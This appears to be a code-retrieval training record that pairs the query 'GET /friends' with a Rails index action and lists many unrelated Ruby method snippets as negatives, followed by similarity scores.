"def busqueda_array\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 37 )\n\n\n return_value = BusquedaArrayReturnValue.new\n\n # $rule.start = the first token seen before matching\n return_value.start = @input.look\n\n\n root_0 = nil\n\n __Identificador189__ = nil\n __K_WHERE191__ = nil\n __Identificador192__ = nil\n __K_TIPOBUSQUEDA194__ = nil\n __EOL196__ = nil\n var_local190 = nil\n var_local193 = nil\n valor195 = nil\n\n\n tree_for_Identificador189 = nil\n tree_for_K_WHERE191 = nil\n tree_for_Identificador192 = nil\n tree_for_K_TIPOBUSQUEDA194 = nil\n tree_for_EOL196 = nil\n\n begin\n root_0 = @adaptor.create_flat_list\n\n\n # at line 180:4: ( Identificador | var_local ) K_WHERE ( Identificador | var_local ) K_TIPOBUSQUEDA valor EOL\n # at line 180:4: ( Identificador | var_local )\n alt_26 = 2\n look_26_0 = @input.peek( 1 )\n\n if ( look_26_0 == Identificador )\n alt_26 = 1\n elsif ( look_26_0 == DOUBLEDOT )\n alt_26 = 2\n else\n @state.backtracking > 0 and raise( ANTLR3::Error::BacktrackingFailed )\n\n\n\n raise NoViableAlternative( \"\", 26, 0 )\n\n end\n case alt_26\n when 1\n # at line 180:5: Identificador\n __Identificador189__ = match( Identificador, TOKENS_FOLLOWING_Identificador_IN_busqueda_array_844 )\n if @state.backtracking == 0\n tree_for_Identificador189 = @adaptor.create_with_payload( __Identificador189__ )\n @adaptor.add_child( root_0, tree_for_Identificador189 )\n\n end\n\n\n when 2\n # at line 180:19: var_local\n @state.following.push( TOKENS_FOLLOWING_var_local_IN_busqueda_array_846 )\n var_local190 = var_local\n @state.following.pop\n if @state.backtracking == 0\n @adaptor.add_child( root_0, var_local190.tree )\n end\n\n\n end\n __K_WHERE191__ = match( K_WHERE, TOKENS_FOLLOWING_K_WHERE_IN_busqueda_array_849 )\n if @state.backtracking == 0\n tree_for_K_WHERE191 = @adaptor.create_with_payload( __K_WHERE191__ )\n @adaptor.add_child( root_0, tree_for_K_WHERE191 )\n\n end\n\n # at line 180:38: ( Identificador | var_local )\n alt_27 = 2\n look_27_0 = @input.peek( 1 )\n\n if ( look_27_0 == Identificador )\n alt_27 = 1\n elsif ( look_27_0 == DOUBLEDOT )\n alt_27 = 2\n else\n @state.backtracking > 0 and raise( ANTLR3::Error::BacktrackingFailed )\n\n\n\n raise NoViableAlternative( \"\", 27, 0 )\n\n end\n case alt_27\n when 1\n # at line 180:39: Identificador\n __Identificador192__ = match( Identificador, TOKENS_FOLLOWING_Identificador_IN_busqueda_array_852 )\n if @state.backtracking == 0\n tree_for_Identificador192 = @adaptor.create_with_payload( __Identificador192__ )\n @adaptor.add_child( root_0, tree_for_Identificador192 )\n\n end\n\n\n when 2\n # at line 180:53: var_local\n @state.following.push( TOKENS_FOLLOWING_var_local_IN_busqueda_array_854 )\n var_local193 = var_local\n @state.following.pop\n if @state.backtracking == 0\n @adaptor.add_child( root_0, var_local193.tree )\n end\n\n\n end\n __K_TIPOBUSQUEDA194__ = match( K_TIPOBUSQUEDA, TOKENS_FOLLOWING_K_TIPOBUSQUEDA_IN_busqueda_array_857 )\n if @state.backtracking == 0\n tree_for_K_TIPOBUSQUEDA194 = @adaptor.create_with_payload( __K_TIPOBUSQUEDA194__ )\n @adaptor.add_child( root_0, tree_for_K_TIPOBUSQUEDA194 )\n\n end\n\n @state.following.push( TOKENS_FOLLOWING_valor_IN_busqueda_array_859 )\n valor195 = valor\n @state.following.pop\n if @state.backtracking == 0\n @adaptor.add_child( root_0, valor195.tree )\n end\n\n __EOL196__ = match( EOL, TOKENS_FOLLOWING_EOL_IN_busqueda_array_861 )\n if @state.backtracking == 0\n tree_for_EOL196 = @adaptor.create_with_payload( __EOL196__ )\n @adaptor.add_child( root_0, tree_for_EOL196 )\n\n end\n\n\n # - - - - - - - rule clean up - - - - - - - -\n return_value.stop = @input.look( -1 )\n\n\n if @state.backtracking == 0\n return_value.tree = @adaptor.rule_post_processing( root_0 )\n @adaptor.set_token_boundaries( return_value.tree, return_value.start, return_value.stop )\n\n end\n\n rescue ANTLR3::Error::RecognitionError => re\n report_error(re)\n recover(re)\n return_value.tree = @adaptor.create_error_node( @input, return_value.start, @input.look(-1), re )\n\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 37 )\n\n\n end\n\n return return_value\n end",
"def next_element; end",
"def metodos_con(letras,*clase) # puede ser metodos de una clase, una lista de clases, o una lista de metodos\n if not clase.none? # si no hay parametros busca en los metodos_observados\n self.get_metodos_de(clase) # aca los setea en @metodos_observados\n end\n @metodos_observados.select{|metodo| metodo[0..letras.size].include? letras}\n end",
"def load_rail_car_array\n @rail_car_array = RailCar.where(car_empty: false).order(railcar_nbr: :asc) .map { |rail_car_array| [rail_car_array.railcar_nbr]}\nend",
"def get(element)\n res = []\n pos = 0\n board.chars.each do |ch|\n if element.is_a?(Array)\n res << pos_to_coords(pos) if element.include? ch\n elsif element.is_a?(String)\n res << pos_to_coords(pos) if element == ch\n else\n raise ArgumentError.new(\"Invalid argument type #{element.class}\")\n end\n pos += 1\n end\n\n sort(res)\n end",
"def obtener_insumo(nombreInsumo)\n\t\tr=case nombreInsumo\n\t\t\twhen \"cebada\" then (@cebada)\n\t\t\twhen \"arroz_maiz\" then (@arroz_maiz)\n\t\t\twhen \"levadura\" then (@levadura)\n\t\t\twhen \"lupulo\" then (@lupulo)\n\t\t\twhen \"producto_silos_cebada\" then \n\t\t\t\t(@producto_silos_cebada)\n\t\t\twhen \"producto_molino\" then \n\t\t\t\t(@producto_molino)\n\t\t\twhen \"producto_paila_mezcla\" then \n\t\t\t\t(@producto_paila_mezcla)\n\t\t\twhen \"producto_cuba_filtracion\" then \n\t\t\t\t(@producto_cuba_filtracion)\n\t\t\twhen \"producto_paila_coccion\" then \n\t\t\t\t(@producto_paila_coccion)\n\t\t\twhen \"producto_tanque_preclarificador\" then \n\t\t\t\t(@producto_tanque_preclarificador)\n\t\t\twhen \"producto_enfriador\" then \n\t\t\t\t(@producto_enfriador)\n\t\t\twhen \"producto_tcc\" then (@producto_tcc)\n\t\t\twhen \"producto_filtro_cerveza\" then \n\t\t\t\t(@producto_filtro_cerveza)\n\t\t\twhen \"producto_tanque_cerveza\" then \n\t\t\t\t(@producto_tanque_cerveza)\n\t\t\twhen \"cerveza\" then (@cerveza)\n\t\tend\n\t\treturn r\n\tend",
"def elem(i)\r\n @elemek[i]\r\n end",
"def to_s\n recorrido = lista_alimentos.head\n cantidad = lista_cantidades.head\n formateo = []\n\n while (recorrido != nil && cantidad != nil)\n salida = cantidad.value.to_s + \"gr de \" + recorrido.value.nombre\n formateo.push(salida)\n\n recorrido = recorrido.next\n cantidad = cantidad.next\n end\n\n formateo\n end",
"def modelo_carne_build_data_right(doc, boleto, colunas, linhas)\n # LOGOTIPO do BANCO\n doc.image boleto.logotipo, x: (colunas[2] - 0.11), y: linhas[0]\n\n # Numero do banco\n doc.moveto x: colunas[4], y: linhas[0]\n doc.show \"#{boleto.banco}-#{boleto.banco_dv}\", tag: :grande\n\n # linha digitavel\n doc.moveto x: colunas[6], y: linhas[0]\n doc.show boleto.codigo_barras.linha_digitavel, tag: :media\n\n # local de pagamento\n doc.moveto x: colunas[2], y: linhas[1]\n doc.show boleto.local_pagamento\n\n # vencimento\n doc.moveto x: colunas[11], y: linhas[1]\n doc.show boleto.data_vencimento.to_s_br\n\n # cedente\n doc.moveto x: colunas[2], y: linhas[2]\n doc.show boleto.cedente\n\n # agencia/codigo cedente\n doc.moveto x: colunas[11], y: linhas[2]\n doc.show boleto.agencia_conta_boleto\n\n # data do documento\n doc.moveto x: colunas[2], y: linhas[3]\n doc.show boleto.data_documento.to_s_br if boleto.data_documento\n\n # numero documento\n doc.moveto x: colunas[3], y: linhas[3]\n doc.show boleto.documento_numero\n\n # especie doc.\n doc.moveto x: colunas[8], y: linhas[3]\n doc.show boleto.especie_documento\n\n # aceite\n doc.moveto x: colunas[9], y: linhas[3]\n doc.show boleto.aceite\n\n # dt processamento\n doc.moveto x: colunas[10], y: linhas[3]\n doc.show boleto.data_processamento.to_s_br if boleto.data_processamento\n\n # nosso numero\n doc.moveto x: colunas[11], y: linhas[3]\n doc.show boleto.nosso_numero_boleto\n\n # uso do banco\n ## nada...\n\n # carteira\n doc.moveto x: colunas[3], y: linhas[4]\n doc.show boleto.carteira\n\n # especie\n doc.moveto x: colunas[5], y: linhas[4]\n doc.show boleto.especie\n\n # quantidade\n doc.moveto x: colunas[7], y: linhas[4]\n doc.show boleto.quantidade\n\n # valor documento\n doc.moveto x: colunas[8], y: linhas[4]\n doc.show boleto.valor_documento.to_currency\n\n # valor do documento\n doc.moveto x: colunas[11], y: linhas[4]\n doc.show boleto.valor_documento.to_currency\n\n # Instruções\n doc.moveto x: colunas[2], y: linhas[5]\n doc.show boleto.instrucao1\n doc.moveto x: colunas[2], y: linhas[6]\n doc.show boleto.instrucao2\n doc.moveto x: colunas[2], y: linhas[7]\n doc.show boleto.instrucao3\n doc.moveto x: colunas[2], y: linhas[8]\n doc.show boleto.instrucao4\n doc.moveto x: colunas[2], y: linhas[9]\n doc.show boleto.instrucao5\n doc.moveto x: colunas[2], y: linhas[10]\n doc.show boleto.instrucao6\n\n # Sacado\n doc.moveto x: colunas[2], y: linhas[11]\n if boleto.sacado && boleto.sacado_documento\n doc.show \"#{boleto.sacado} - #{boleto.sacado_documento.formata_documento}\"\n end\n\n # Sacado endereço\n doc.moveto x: colunas[2], y: linhas[12]\n doc.show boleto.sacado_endereco.to_s\n\n # codigo de barras\n # Gerando codigo de barra com rghost_barcode\n if boleto.codigo_barras\n doc.barcode_interleaved2of5(boleto.codigo_barras, width: '10.3 cm', height: '1.2 cm', x: colunas[2],\n y: linhas[14])\n end\n end",
"def agregar(palabra, relacion)\n return if palabra.nil?\n\n @trie.agregar(palabra, relacion)\n end",
"def ObtenerHijosSinHref(menu,padreid)\n totaldeRegistros1 = self.ContarHijos(menu,padreid)\n if totaldeRegistros1>0\n @tira = @tira+\" children: [ \"\n @opcionMenus = OpcionMenu.where(\"menu_id = ? AND padre_id = ?\", menu.id.to_s, padreid).order(orden: :asc)\n i=0\n @opcionMenus.each do |arbol|\n @tira = @tira+\" { text: ' <i class= \\\" \" + arbol.icono.to_s + \"\\\" ></i> <span class= \\\"no-padding\\\"> \" + arbol.nombre + \" </span>', cls:'no-padding waves-effect ',id: '\" + arbol.id.to_s + \"', href: '', \"\n self.ObtenerHijosSinHref(menu,arbol.id)\n i=i+1\n if i<totaldeRegistros1\n @tira = @tira+\" }, \"\n else\n @tira = @tira+\" } ] \"\n end\n end\n else\n @tira = @tira+\" leaf: true \"\n end\n end",
"def busqueda(g, d, h, nro_nodos, nodos_visitados, nro_nodos_en_caminos)\r\n #Luego, en esta variable dependiendo de si estamos en un objeto DFS o BFS, se definira el orden\r\n #en el que se seleccionaran los nodos para la busqueda. Ademas, esta variable tendra los elementos\r\n #adyacentes del nodo d ya sea en una pila o en una cola. \r\n pila_o_cola = self.orden_nodos(g,d)\r\n\r\n #pila_o_cola.estructura.each {|elem| puts elem}\r\n\r\n #Verificamos si la pila o cola, de adyacentes, incluye a \"h\"\r\n if pila_o_cola.estructura.include? h \r\n\r\n #De ser asi, se incluye el numero de nodos del recorrido que llevo a \"h\"\r\n nro_nodos_en_caminos << nro_nodos\r\n\r\n #Si la pila o cola no incluye a \"h\"\r\n else\r\n\r\n #Entonces mientras no este vacia, se recorre la estructura\r\n while not(pila_o_cola.vacio)\r\n\r\n #Luego se remueve un nodo de la estructura, que sera el siguiente que se usara\r\n #como \"inicio\" de la busqueda\r\n siguiente_nodo = pila_o_cola.remover\r\n\r\n #Si el nodo en cuestion no ha sido visitado\r\n if not(nodos_visitados.include? siguiente_nodo)\r\n #Lo agregamos al arreglo de visitados\r\n nodos_visitados << siguiente_nodo\r\n #Y hacemos una llamada recursiva al metodo busqueda pero esta vez partiendo\r\n #del nodo antes tomado. En esta llamada aumentamos el numero de nodos (nro_nodos)\r\n #en 1\r\n busqueda(g, siguiente_nodo, h , nro_nodos + 1 , nodos_visitados, nro_nodos_en_caminos)\r\n end\r\n end\r\n end\r\n\r\n #Luego de que acaba todo el procesamiento verificamos si en el arreglo \"nro_nodos_en_caminos\"\r\n #esta vacio, si es asi entonces significa que el nodo \"h\" no fue alcanzado entonces\r\n if nro_nodos_en_caminos.empty?\r\n #retornamos -1\r\n return -1\r\n end\r\n\r\n #Finalmente, si sobrevivimos todo lo anterior, llegados a este punto retornamos el numero de nodos que\r\n #fueron recorridos de \"d\" a \"h\". Recordamos que el arreglo \"nro_nodos_en_caminos\" contiene para todos los\r\n #caminos de \"d\" a \"h\", el numero de nodos recorridos.\r\n\r\n ## OJO: En este caso se retornara el nro de nodos recorridos del camino mas corto. ##\r\n\r\n #Sin embargo, si se quisiera el nro de nodos de solo el primer camino por el que se metio y encontro a \"h\"\r\n #bastaria con solo retornar \"nro_nodos_en_caminos[0]\".\r\n #Por otra parte, si se quisiera para cada camino el nro de nodos recorridos entonces basta con retornar\r\n #el arreglo completo, etc.\r\n \r\n return \"#{nro_nodos_en_caminos.min} nodos recorridos.\"\r\n end",
"def show\n # Se ordenaran alfabeticamente por orden de unidad\n # @secuencia = GranUnidad.select(:id, :region_militar_id).order(:region_militar_id).ids\n @array = ActiveRecord::Base.connection.execute(\"SELECT gu.id FROM gran_unidad gu INNER JOIN region_militar rm ON gu.region_militar_id = rm.id ORDER BY rm.nombre\")\n @secuencia = []\n @array.each do |item|\n @secuencia << item[\"id\"]\n end\n @gran_unidad = GranUnidad.find(params[:id])\n @breadcrumb.push << {nombre: @gran_unidad.nombre, url: @gran_unidad}\n @unidades = @gran_unidad.unidad\n end",
"def ObtenerHijos(menu,padreid)\n\t totaldeRegistros1 = self.ContarHijos(menu,padreid)\n\t if totaldeRegistros1>0\n\t @tira = @tira+\" children: [ \"\n\t @opcionMenus = OpcionMenu.where(\"menu_id = ? AND padre_id = ?\", menu.id.to_s, padreid).order(orden: :asc)\n\t i=0\n\t @opcionMenus.each do |arbol|\n if arbol.hijos.length >0\n @tira = @tira+\" { text: ' <i class= \\\" \" + arbol.icono.to_s + \"\\\" ></i> <span class= \\\"no-padding\\\"> \" + arbol.nombre + \" </span>', cls:'no-padding waves-effect',id: '\" + arbol.id.to_s + \"', href: '', \"\n else\n @tira = @tira+\" { text: ' <i class= \\\" \" + arbol.icono.to_s + \"\\\" ></i> <span class= \\\"no-padding\\\"> \" + arbol.nombre + \" </span>', cls:'no-padding waves-effect',id: '\" + arbol.id.to_s + \"', href: '\" + arbol.url.to_s + \"', \"\n end\n\t self.ObtenerHijos(menu,arbol.id)\n\t i=i+1\n if i<totaldeRegistros1\n @tira = @tira+\" }, \"\n else\n @tira = @tira+\" } ] \"\n\t end\n\t end\n\t else\n\t @tira = @tira+\" leaf: true \"\n\t end\n end",
"def items\n (rest.elements || []).inject([first]) { |list, el| list << el.item }\n end",
"def initialize \n @rechnungen = []\n end",
"def get_entry_and_folio_details(entry_id)\n\n begin\n\n # Get the entry_no and folio_id for the entry_id\n SolrQuery.new.solr_query('id:' + entry_id, 'entry_no_tesim, folio_ssim', 1)['response']['docs'].map do |result|\n entry_no = result['entry_no_tesim'].join\n folio_id = result['folio_ssim'].join\n preflabel = ''\n # Get the preflabel for the folio_id\n # From the preflabel, can form the title, i.e. 'Entry, Folio (Register)'\n SolrQuery.new.solr_query('id:' + folio_id, 'preflabel_tesim', 1)['response']['docs'].map do |result|\n preflabel = result['preflabel_tesim'].join\n end\n # Remove 'Abp Reg' from the beginning of the preflabel and split the remaining string\n # If it's an institution act book, grab the reference\n # to get the register and folio\n if preflabel.include? 'Abp Reg'\n preflabel = preflabel.sub 'Abp Reg', ''\n register = preflabel.split(' ')[0].to_s\n folio = preflabel.sub(register, '')\n # Add the title and folio_id to the array instance\n @element_array << 'Register ' + register + ' ' + folio + ' entry ' + entry_no\n else\n preflabel_array = preflabel.split(' ')\n register = \"#{preflabel_array[0]} #{preflabel_array[1]} #{preflabel_array[2]}\"\n folio = preflabel.sub(register, '')\n @element_array << 'Register ' + register + ' ' + folio + ' entry ' + entry_no\n end\n @element_array << folio_id\n end\n\n rescue => error\n log_error(__method__, __FILE__, error)\n raise\n end\n\n end",
"def to_a()\r\n @to_a ||= elements.map{ |e| element_class.new(@parent, :element => e) }\r\n end",
"def to_a\n @content.collect { |item| assemble(item) }\n end",
"def push(element); end",
"def agregarMetodos unaClase\n self.metodos.each do |metodo|\n self.agregar_metodo(unaClase,metodo[0],&metodo[1])\n end\n end",
"def to_s\n recorrido = lista_alimentos.head\n cantidad = lista_cantidades.head\n formateo = []\n\n while (recorrido != nil && cantidad != nil)\n salida = cantidad.value.to_s + \"gr de \" + recorrido.value.nombre\n formateo.push(salida)\n\n recorrido = recorrido.next\n cantidad = cantidad.next\n end\n\n formateo.push(@emisiones_diarias)\n formateo.push(@metros_terreno)\n\n formateo\n end",
"def otrzymane_wiadomosci\n\twiadomosci=[]\n\twhile(!@kolejka_wiadomosci.empty?)\n\t\twiadomosc=@kolejka_wiadomosci.pop(true) rescue nil\n\t\tbreak if wiadomosc.nil?\n\t\twiadomosci << wiadomosc\n\t\tyield wiadomosc if block_given?\n\tend\n\twiadomosci\n end",
"def get_element id\n @elements[id.to_s]\n end",
"def element?; end",
"def element?; end",
"def especies_filtros\n return unless tiene_filtros?\n self.taxones = Especie.select(:id).select(\"#{Scat.attribute_alias(:catalogo_id)} AS catalogo_id\").joins(:scat).distinct\n por_especie_id\n por_nombre\n #estatus\n #solo_publicos\n estado_conservacion\n tipo_distribucion\n uso\n formas_crecimiento\n ambiente\n\n #return unless por_id_o_nombre\n #categoria_por_nivel\n end",
"def initialize(arraycontent, nombre)\n super\n @gei = get_gei\n @usoterreno = get_usoterreno\n @eficiencia = get_eficiencia_energetica\n end"
] |
[
"0.58750224",
"0.5745054",
"0.57344645",
"0.57216746",
"0.56736904",
"0.56736904",
"0.56736904",
"0.56204593",
"0.55560976",
"0.5454719",
"0.541998",
"0.5394053",
"0.5387245",
"0.5375371",
"0.5352945",
"0.5330655",
"0.5330292",
"0.53233975",
"0.52790415",
"0.52496713",
"0.5241852",
"0.5241852",
"0.5241852",
"0.5241852",
"0.52262676",
"0.5222412",
"0.5202035",
"0.5185293",
"0.5184803",
"0.51759946",
"0.5116317",
"0.51014477",
"0.50751853",
"0.505815",
"0.5047281",
"0.5008517",
"0.50062436",
"0.49628946",
"0.49497175",
"0.49436113",
"0.49372792",
"0.4928134",
"0.49078566",
"0.4891577",
"0.48911217",
"0.48885837",
"0.48855472",
"0.4875726",
"0.48752993",
"0.48718804",
"0.48589963",
"0.48581082",
"0.48395517",
"0.48358172",
"0.48117903",
"0.48092535",
"0.48069194",
"0.47869503",
"0.4784115",
"0.4771483",
"0.47681424",
"0.47666493",
"0.47635582",
"0.4762299",
"0.4757285",
"0.4756776",
"0.47486976",
"0.47456244",
"0.47424072",
"0.47387776",
"0.47304872",
"0.4728109",
"0.47242573",
"0.471958",
"0.47184628",
"0.47043714",
"0.47022226",
"0.4692587",
"0.46916297",
"0.46875843",
"0.46809587",
"0.46726534",
"0.46721187",
"0.4660041",
"0.4650226",
"0.46447876",
"0.46412185",
"0.46380404",
"0.46316102",
"0.46313345",
"0.46311617",
"0.46240494",
"0.46124142",
"0.46122798",
"0.46085736",
"0.46082604",
"0.46070713",
"0.46070713",
"0.46040994",
"0.46031877"
] |
0.47850877
|
58
|
GET /friends GET /friends.json
|
def index
@friends = Friend.all
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def friends(options={})\n get('/friends', options)\n end",
"def friends\n # Requires authorization\n raise PutioError::AuthorizationRequired if authentication_required!\n\n make_get_call('/friends/list').friends\n end",
"def index\n @user = current_user\n render json: @user.friends\n end",
"def friends(options={})\n perform_get(\"statuses/friends.#{Twitter.format}\", options)\n end",
"def friends(id, options = {})\n get(\"users/#{id}/friends\").friends\n end",
"def friends\n #get friends page\n #get json from friends page\n #parse\n []\n end",
"def my_friends\n @current_user = User.find(params[:user_id])\n render json: {\n friends: @current_user.friend.where(status: 'accept').map do |friend|\n {\n id: friend.id,\n name: User.find(friend.friend).name.upcase,\n avatar: \"#{request.base_url}#{Rails.application.routes.url_helpers.rails_blob_path(User.find(friend.friend).avatar, only_path: true)}\",\n date: friend.created_at\n }\n end\n }\n end",
"def friends_list\n @user = User.find_by(email: params[:email])\n if @user.present?\n @friends = @user.friends.page(params[:page]).per(params[:per_page]).distinct\n render json: @friends, each_serializer: Api::V1::UsersSerializer, meta: pagination_dict(@friends)\n else\n render json: {message: 'User Not Found'}, status: 404\n end\n end",
"def get_friends\n results = []\n user = User.find_by_username(params[:username])\n friends = Friend.where(user_id: user.id, accepted: true)\n friends.each do |friend_rel|\n friend = User.find(friend_rel.friend_id)\n results << {id:friend.id, username: friend.username}\n end\n friends = Friend.where(friend_id: user.id, accepted: true)\n friends.each do |friend_rel|\n friend = User.find(friend_rel.user_id)\n results << {id:friend.id, username: friend.username}\n end\n render json:results\n end",
"def get_friends\n @person = Person.find_by_guid(params['user_id'])\n if ! @person\n render_json :status => :not_found and return\n end\n\n if params['sortBy'] == \"status_changed\"\n params['sortOrder'] ||= \"ascending\"\n @friends = @person.contacts.all\n @friends.sort!{|a,b| sort_by_status_message_changed(a, b, params['sortOrder']) }\n else\n @friends = @person.contacts\n end\n @friends.filter_paginate!(params[:per_page], params[:page]){true}\n @friends.collect! { |p| p.to_hash(@user, @client)}\n render_json :entry => @friends, :size => @friends.count_available and return\n end",
"def show\n @user=current_user\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @user.friends}\n end\n end",
"def show_list_by_user_id\n @id = current_user.id\n @userfriendships = User.find(@id).friends\n if @userfriendships.empty?\n render json: {Error: \"No friends found\"}, status: 404\n else\n render json: @userfriendships.to_json(:only => [:id, :username])\n end\n end",
"def friends\n response = request(:get, 'prefs/friends.json', nil, https_connection)\n body = response[:body]\n friends = body[0][:data][:children]\n\n friends.map { |friend| OpenStruct.new(friend) }\n end",
"def index\n @friends = Friend.all\n render json: @friends\n end",
"def friends(user_id=self.username)\n connection.get(\"/users/#{user_id}/friends\").body.users\n end",
"def friends(user = nil, params = {})\n args = [user, params]\n get path_from_args('statuses/friends', args), params_from_args(args)\n end",
"def friends(user, options={})\n get(:standard, {:method => \"user.getFriends\", :user => user}.merge(options))\n end",
"def friend_requests\n # Requires authorization\n raise PutioError::AuthorizationRequired if authentication_required!\n\n make_get_call('/friends/waiting-requests').friends\n end",
"def friends(id)\n friends_data(request(\"users/friends/#{id}.xml\", :auth => true))\n end",
"def get_my_friends\n remember_token = User.digest(cookies[:remember_token])\n current_user ||= User.find_by(remember_token: remember_token)\n p \"current_user\", current_user\n results = []\n # user = User.find_by_username(current_user.id)\n friends = Friend.where(user_id: current_user.id, accepted: true)\n friends.each do |friend_rel|\n friend = User.find(friend_rel.friend_id)\n results << {id: friend.id, username: friend.username, fullname: friend.first_name.capitalize + ' ' + friend.last_name.capitalize}\n end\n friends = Friend.where(friend_id: current_user.id, accepted: true)\n friends.each do |friend_rel|\n friend = User.find(friend_rel.user_id)\n results << {id: friend.id, username: friend.username, fullname: friend.first_name.capitalize + ' ' + friend.last_name.capitalize}\n end\n render json:results\n end",
"def show\n render json: @user.suggest_friends\n end",
"def friend_requests\n friends = current_user.friends.where accepted: false\n profiles = friends.map{ |friend| Profile.find(friend.profile_id)}\n render json: profiles\n end",
"def index\n @friends = current_user.friends\n end",
"def friends\n @friends = response[\"friends\"]\n @friends[\"groups\"].each do |group|\n group[\"items\"].map!{|item| Foursquared::Response::User.new(client, item)}\n end\n @friends\n end",
"def friendships_show(options = {})\n @req.get(\"/1.1/friendships/show.json\", options)\n end",
"def friends\n @start = Time.now\n @users = current_user.friends.order(:name).page params[:page]\n\n respond_to do |format|\n format.html # friends.html.erb\n format.json { render :json => @users }\n format.xml { render :xml => @users }\n end\n end",
"def friends_timeline(params = {})\n get \"statuses/friends_timeline\", params\n end",
"def list\n @emails = Friend.friends(params[:email])\n\n unless @emails.empty?\n render json:{\n success: true,\n friends: @emails,\n count: @emails.count\n }\n else\n render json: {\n success: false,\n friends: [],\n count: 0\n }\n end\n end",
"def list\n oauth_check_authorization\n \n @friends = facebook_client.friends_with_pictures\n end",
"def index\n current_user = get_current_user\n @users = current_user.friends_list\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @users }\n end\n end",
"def get\n\t\tif request.post?\n\t\t\tuser = User.find_by_id(params[:user_id])\n\t\t\tunless user\n\t\t\t\trender json: {error: \"user not fonud\"} and return\n\t\t\tend\n\t\t\t\n\t\t\trender json: {friends: user.friends.each {|f| f.password = nil}}\n\t\tend\n\tend",
"def index\n @relationships = current_user.friends\n end",
"def friends(user=nil)\n\t\tself.twitagent.friends(user)\n\trescue => err\n\t\tRAILS_DEFAULT_LOGGER.error \"Failed to get friends via OAuth for #{current_user.inspect}\"\n\t\tflash[:error] = \"Twitter API failure (getting friends)\"\n\t\treturn\n\tend",
"def index\n @friends = current_user.friend\n end",
"def get_friends\n friends = get(\"friends\")\n\n # [id, name, phone_number, klass]\n if @starred_contacts.length == 0\n Logger.d(\"Starred contacts length was found to be 0, initiating a fetch\")\n t = Thread.start do\n @starred_contacts = ContactsSync.find_all_starred_contacts(@context)\n Logger.d(\"#{@starred_contacts.length} starred contacts are available. Requesting a UI refresh\")\n request_ui_refresh\n end # Thread ends\n end\n\n return friends + @starred_contacts\n end",
"def friends\n @friends = []\n if current_user\n @friends = current_user.friends(graph).order(\"room_id ASC \")\n end\n respond_to do |format|\n format.js { render :partial => \"friends\", :locals => { :friends => @friends } }\n end\n end",
"def get_friends\n graph = Koala::Facebook::API.new(@access_token)\n\n # Get friends from Facebook and convert them into a Friend object\n friends = graph.get_connections(\"me\", \"friends\").collect do |friend|\n Friend.new(:id => friend[\"id\"], :name => friend[\"name\"])\n end\n\n # Batch request friend pictures with respect to BATCH_API_LIMIT\n pictures = Array.new\n friends.each_slice(BATCH_API_LIMIT) do |friends_slice|\n batch_pictures = graph.batch do |batch|\n friends_slice.each { |friend| batch.get_picture(friend.id, :type => \"large\") }\n end\n pictures.concat(batch_pictures)\n end\n\n # Zip through the friends and pictures to produce updated Friend\n # objects.\n friends.zip(pictures).collect do |pair|\n friend = pair.first\n picture = pair.last\n\n friend.picture = pair.last\n\n friend\n end\n end",
"def friends\n\t\t@user = User.includes(:owned_friendships => :friend, :sent_requests => :requestee,\n\t\t\t\t\t\t\t :received_requests => :requestor).find(params[:id])\n\tend",
"def get_friends(cookie)\n \n # rescue is commented out to spot the error cases more clearly\n \n # begin\n friend_hash = PersonConnection.get_friends(self.id, cookie)\n # rescue RestClient::ResourceNotFound => e\n # #Could not find person with that id in COS Database!\n # return nil\n # end\n \n return friend_hash\n end",
"def index\n @friends = @member.friends\n end",
"def full_friends options={}\n client.user_friends(id, options)\n end",
"def get_friends(auth = auth_http())\n TwBot.friends_of(auth)\n end",
"def get_other_friends(fbid)\n graph_url = \"https://graph.facebook.com/#{fbid}/friends?access_token=TOKEN\"\n parsed_resp = query_graph(graph_url)\n friends = parsed_resp[\"data\"]\n return friends\nend",
"def index\n @friendships = @user.friendships\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @friendships }\n end\n end",
"def show\n @friend = Friend.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @friend }\n end\n end",
"def index\n @friends = @user.friends.paginate(:page => params[:page],\n :per_page => RASTER_PER_PAGE)\n end",
"def get_a_page_of_friends(req, opts)\n\tfriends_got = JSON.parse(Net::HTTP.get(URI(\"#{req}&access_token=#{opts[:token]}\")))\n\tunless friends_got[\"error\"].nil?\n\t\thandle_error friends_got[\"error\"]\n\tend\n\tif opts[:verbose]\n\t\tfriends_got[\"data\"].each do |f|\n\t\t\tprint \"#{f[\"display_name\"]}, \"\n\t\tend\n\tend\n\tfriends_got\nend",
"def mutual_friends\n if @user and @friend\n @mutual_friends = User.mutual_friends_list(@user, @friend).page(params[:page]).per(params[:per_page]).distinct\n render json: @mutual_friends, each_serializer: Api::V1::UsersSerializer, meta: pagination_dict(@mutual_friends)\n else\n render json: {message: 'No Common Friends Exists'}, status: 404\n end\n end",
"def get_friends\n if current_user.friends.count == 0\n\t return\n\t end\n\t if session[:selected_category] == \"all\"\n\t @friends = current_user.friends\n\t else\n category = Category.includes(:users).find(session[:selected_category])\n @friends = category.users.where(\"users.id IN (?)\", current_user.friends)\n end\n end",
"def list\n user = User.find_by_email params[:email]\n if user\n friendship = Friendship.where user: user\n render json: {success: true, friends: friendship.map {|f| f.friend.email}, count: friendship.count}\n else\n render json: {message: \"email not found\"}\n end\n end",
"def index\n @girlfriends = Girlfriend.all\n render json: @girlfriends, status: 200 \n end",
"def friends_timeline(options={})\n perform_get(\"statuses/friends_timeline.#{Twitter.format}\", options)\n end",
"def fetch_facebook_friends\n\t\treturn fetch_facebook_friends_or_subscribers_or_subscribedto(\"friends\")\n\tend",
"def get_friends_list(user_id, *friend_ids)\n user_id = user_id.to_s\n validate_identifier(:user_id, user_id)\n friend_ids.each do |friend_id|\n friend_id = friend_id.to_s\n validate_identifier(:friend_ids, friend_id)\n end\n call_myspace_api(:friends_list, :user_id => user_id, :friend_ids => friend_ids.join(';'), :v1_json => true)\n end",
